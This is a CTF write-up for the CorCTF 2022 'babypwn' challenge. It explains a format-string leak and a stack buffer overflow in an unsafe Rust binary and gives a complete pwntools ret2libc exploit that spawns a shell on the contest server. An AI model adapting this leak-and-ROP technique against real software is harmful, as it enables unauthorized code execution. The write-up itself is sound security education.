2022 Corctf Pwn Babypwn
The Challenge
Solves: 114
Just another one of those typical intro babypwn challs… wait, why is this in Rust?
Flag: corctf{why_w4s_th4t_1n_rust???}
Overview
This challenge is the first in a series of many binary exploitation challenges for the 2022 CorCTF. Unfortunately this was the only pwn challenge that I had the time to solve during the CTF.
This challenge consists of the classic memory address leak allowing us to execute a Ret2Libc attack. However, this challenge has been written in Rust which provides memory safe code through compile time checks. Luckily for us, some of these checks have been disabled by the use of unsafe{} which conveniently wraps all the challenge code.
Getting started
The first thing I always do for a pwn challenge is check the security of the challenge binary. This way I know if a memory leak will be needed and to be on the lookout for one if so. We can do this by using the checksec command that is part of pwntools.
$ checksec ./babypwn
Fig. 1 - Security of challenge binary
Now we can see that we are dealing with a 64-bit binary that has all protections enabled except for canaries. Before we continue with attacking the binary, we must take note that DEP (Data Execution Prevention or No eXecute) is enabled. This means that we will not be able to execute shell code from any buffers that we can control. Instead, we will rely on Return Orientated Programming or ROP. This technique is not the focus of this blog post but you can find more about it here. One last thing to note is that PIE (Position Independent Code) is also enabled. This protection mechanism randomizes the base address of the binary when it is executed. Without PIE we would be able to hardcode the address of functions and ROP gadgets that are within the challenge binary. Sadly PIE is enabled so we cannot do this.
Now that we know what protections we have to deal with, let’s look at the challenge source code:
Challenge source:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
use libc;
use libc_stdhandle;
fn main() {
unsafe {
libc::setvbuf(libc_stdhandle::stdout(), &mut 0, libc::_IONBF, 0);
libc::printf("Hello, world!\n\0".as_ptr() as *const libc::c_char);
libc::printf("What is your name?\n\0".as_ptr() as *const libc::c_char);
let text = [0 as libc::c_char; 64].as_mut_ptr();
libc::fgets(text, 64, libc_stdhandle::stdin());
libc::printf("Hi, \0".as_ptr() as *const libc::c_char);
libc::printf(text);
libc::printf("What's your favorite :msfrog: emote?\n\0".as_ptr() as *const libc::c_char);
libc::fgets(text, 128, libc_stdhandle::stdin());
libc::printf(format!("{}\n\0", r#"
....... ...----.
.-+++++++&&&+++--.--++++&&&&&&++.
+++++++++++++&&&&&&&&&&&&&&++-+++&+
+---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-
-+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....
-+--+&+ .&&+&&&&&&&&&+--+&+... ..
-++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+.
.+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--
.++++++++---------+&&&&&&&&&&&&@&&++--+++&+
-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-
.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++-
-++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&
-+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&
-+&&&@@@@@&&&+++++++++++++++++&&&@@@@+
.+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-
.+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+
.+&&&@@@@@@@@@@@@@@@@@@@@@&+.
.-&&&&@@@@@@@@@@@@@@@&&-
.-+&&&&&&&&&&&&&+-.
..--++++--."#).as_ptr() as *const libc::c_char);
}
}
At first I was worried about this challenge due to it being written in Rust but as soon as I saw the unsafe{} keyword wrapping the entire program I relaxed. As mentioned previously, Rust provides memory safety through its type system and compile time checks. However, a developer can use the unsafe keyword to tell the compiler to skip some of these checks for a chunk of code. I do not know much about Rust other than the bits and pieces of I have read so all that you really need to understand for this challenge is that the unsafe{} block allows the challenge author to call the foreign Libc functions that we all know and love. Because these Libc functions are the usual culprits for memory corruption vulnerabilities, we can look for them the same way we normally would.
Reading through the source code, we see some information being printed to prompt the user for a name, greeting us with our name, prompting us for our favorite 🐸 emote, reading out answer, then printing some wonderful ASCII art.
Example program run:
Fig. 2 - Example program execution
Recall that DEP and PIE are enabled which means we need a way to leak a memory address to defeat ASLR (Address Space Layout Randomization) and perform our Ret2Libc exploit.
Luckily for us, there is an improper usage of the printf() function that will allow us to leak addresses from the stack:
1
2
3
4
5
6
// ...
let text = [0 as libc::c_char; 64].as_mut_ptr();
libc::fgets(text, 64, libc_stdhandle::stdin());
libc::printf("Hi, \0".as_ptr() as *const libc::c_char);
libc::printf(text); // <-- Improper usage of 'printf()'
// ...
Exactly why this usage of printf() is exploitable is beyond the scope of this writeup but if you would like to read more about you can check this blog for a writeup on format string vulnerabilities or visit here for a quick explanation and example.
We can test this vulnerability by giving format specifiers instead of our name for the first input to the program:
Excellent! Now that we have a way to leak memory addresses from the stack we should take a look at what these addresses are for.
Using GDB along with the extension gef, we can attach to the running binary and see where the leaked addresses fall within the process’ memory. The easiest way to do this is to use two terminals or a multiplexer like tmux.
- Execute the challenge binary in the first terminal:
$ ./babypwn - Enter your format string:
%p %p %p %p(make sure to hit enter and see the leaked addresses) - Attach to the challenge binary in the second terminal:
$ sudo gdb -q -p $(pidof babypwn)
Following the above steps should yield two terminals that look similar to the following:
Fig. 4 - Attaching to challenge binary
Looks good! In order to determine where these leaked addresses live we can use the vmmap command (or info proc mappings). These commands will show us where everything for the process is mapped in memory.
Looking closely we see that the first non-zero address that we leaked (0x7f4abd693bc0) lives in the section just before the base of Libc:
1
2
3
4
5
6
7
8
9
10
11
[...]
0x0055b443fa0000 0x0055b443fa1000 0x00000000368000 rw- /home/onenutw0nder/dev/ctf/cor_2022/babypwn_pwn/babypwn
0x0055b4442a8000 0x0055b4442c9000 0x00000000000000 rw- [heap]
0x007f4abd693000 0x007f4abd695000 0x00000000000000 rw- <<------- LEAKED ADDRESS LIVES HERE!
0x007f4abd695000 0x007f4abd6b7000 0x00000000000000 r-- /home/onenutw0nder/dev/ctf/cor_2022/babypwn_pwn/libc.so.6 <<------- LIBC BASE ADDRESS!
0x007f4abd6b7000 0x007f4abd82f000 0x00000000022000 r-x /home/onenutw0nder/dev/ctf/cor_2022/babypwn_pwn/libc.so.6
0x007f4abd82f000 0x007f4abd87d000 0x0000000019a000 r-- /home/onenutw0nder/dev/ctf/cor_2022/babypwn_pwn/libc.so.6
0x007f4abd87d000 0x007f4abd881000 0x000000001e7000 r-- /home/onenutw0nder/dev/ctf/cor_2022/babypwn_pwn/libc.so.6
0x007f4abd881000 0x007f4abd883000 0x000000001eb000 rw- /home/onenutw0nder/dev/ctf/cor_2022/babypwn_pwn/libc.so.6
0x007f4abd883000 0x007f4abd887000 0x00000000000000 rw-
[...]
Knowing this information allows us to calculate the offset of the address that we leaked to the base of Libc. We can do this by performing the following math:
1
2
3
libcBase - leakedAddress = offset
0x007f4abd695000 - 0x7f4abd693bc0 = offset
offset = 0x1440
It is important to realize that this offset is a constant value. Each time we execute the binary the first non-zero address that we leak will be different due to ASLR along with the base address of Libc, however, the leaked address will always be 0x1440 bytes away from the base of Libc.
Congratulations! You have successfully bypassed ASLR and because we know where Libc is located in memory we have a way to defeat DEP as well! Note that we can defeat PIE by finding the offset to the base address of the binary if we wanted to.
Now we need to find a way to use our newfound information to get our flag! Thankfully the developer of this application introduced another vulnerability in the form of a stack buffer overflow. Take a look at the following code:
1
2
3
4
5
6
7
// ...
let text = [0 as libc::c_char; 64].as_mut_ptr(); // <-- 'text' is 64 bytes long
// ... asks and gets our name
libc::printf("What's your favorite :msfrog: emote?\n\0".as_ptr() as *const libc::c_char);
libc::fgets(text, 128, libc_stdhandle::stdin());
// ... prints frog art
With only the important lines showing it should become clear very quickly that the program is going to read 128 bytes from the user and place them into the text buffer that is only 64 bytes long. This is a very straightforward stack buffer overflow that we can exploit to get a shell then the flag!
First, we need to figure out how many bytes we need to corrupt the saved return pointer. Thankfully, gef makes this very easy by using the pattern command:
- Load the program into GDB:
$ gdb babypwn - Create a pattern that is 128 bytes long:
gef> pattern create 128 - Execute the program and use your generated pattern as your second input:
gef> run
Following the above instructions should have yielded a state similar to the one shown below:
Fig. 5 - Segfault after pattern input
The program should have crashed due to our large input that corrupted all the important stack information. The cool thing we can do now is use the command pattern search to calculate where in our string a specified pattern shows up. This is because the pattern create command makes a string of characters that is cyclic in nature. This allows us to give pattern seach a substring to search for within the original pattern and it will be able to tell us how far into the string that substring occurs. In our case, we want to figure out how many bytes it takes to reach the saved RIP:
- Find the value of the saved RIP:
gef> info frame - Copy the value of the saved RIP and run:
gef> pattern search <SAVED_RIP>
Following the steps above should yield something similar:
Wonderful! We can now corrupt the saved return address correctly now that the offset from our input is known.
With this final piece of information we can craft our final exploit!
Creating the Exploit
I highly recommend using pwntools to create your exploits in Python. This library provides so many functions that make our lives much easier.
In general, our exploit needs to accomplish the following:
- Leak an address via the format string vulnerability we found earlier
- Calculate the base address of Libc using the offset of
0x1440that we calculated earlier - Create a ROP chain that performs a Ret2Libc attack
I am not going to spend a lot of time describing how to write the exploit in this post. Eventually I will put together a tutorial on how to use pwntools as it can be quite confusing and annoying if you are just starting out. Regardless, the exploit code should be pretty straightforward and it follows the same steps that we have covered up to this point.
The exploit code is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
# Distance to return address
BUF_SIZE = 96
# 'OFFSET' is the distance from the leaked address we are using to the base of libc
# obtained via GDB
OFFSET = 0x1440
# Load binaries
libc = ELF("./libc.so.6")
bin = ELF("./babypwn")
rop = ROP(libc)
def start():
if args.LOCAL:
return process("./babypwn")
if args.GDB:
return gdb.debug("./babypwn")
if args.REMOTE:
return remote("be.ax", 31801)
def main():
io = start()
# Leak libc addr from stack
fmt_payload = b"%p " * 5
io.recvuntil(b"name?\n")
io.sendline(fmt_payload)
# Calculate Libc values
libc_addr = (io.recvline().decode().split()[2])
libc_base = int(libc_addr, 16) + OFFSET
libc_binsh = next(libc.search(b"/bin/sh")) + libc_base
libc_system = libc.symbols["system"] + libc_base
# Pretty logging
log.info(f"Leaked libc address --> {libc_addr}")
log.info(f"Base address of Libc --> {hex(libc_base)}")
log.info(f"Libc '/bin/sh' --> {hex(libc_binsh)}")
log.info(f"Libc 'system()' --> {hex(libc_system)}")
# Find ROP gadgets
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0] + libc_base
ret = rop.find_gadget(["ret"])[0] + libc_base
# Build final chain
payload = b"A" * BUF_SIZE
payload += p64(pop_rdi)
payload += p64(libc_binsh)
payload += p64(ret) # Needed for stack alignment shenanigans
payload += p64(libc_system)
io.sendline(payload)
io.interactive()
if __name__ == "__main__":
main()
The one important thing to note is the extra ret gadget in the payload. This is needed in order to fix a stack alignment issue that can happen and will cause a segmentation fault on a MOVAPS instruction.
Enjoy your shell and flag!
$ python3 exploit.py REMOTE
Conclusion
This challenge was nothing new in terms of the exploitation methods used but it was unique in that the challenge was written in Rust (in an unsafe way of course). It was very refreshing to explore a familiar exploit in a different environment than your typical C program. This type of challenge is an excellent way to show how developers can still introduce vulnerabilities into a program even though the language is designed to prevent memory corruption. Just remember to really understand what you are doing anytime you are required to use a keyword that is unsafe.


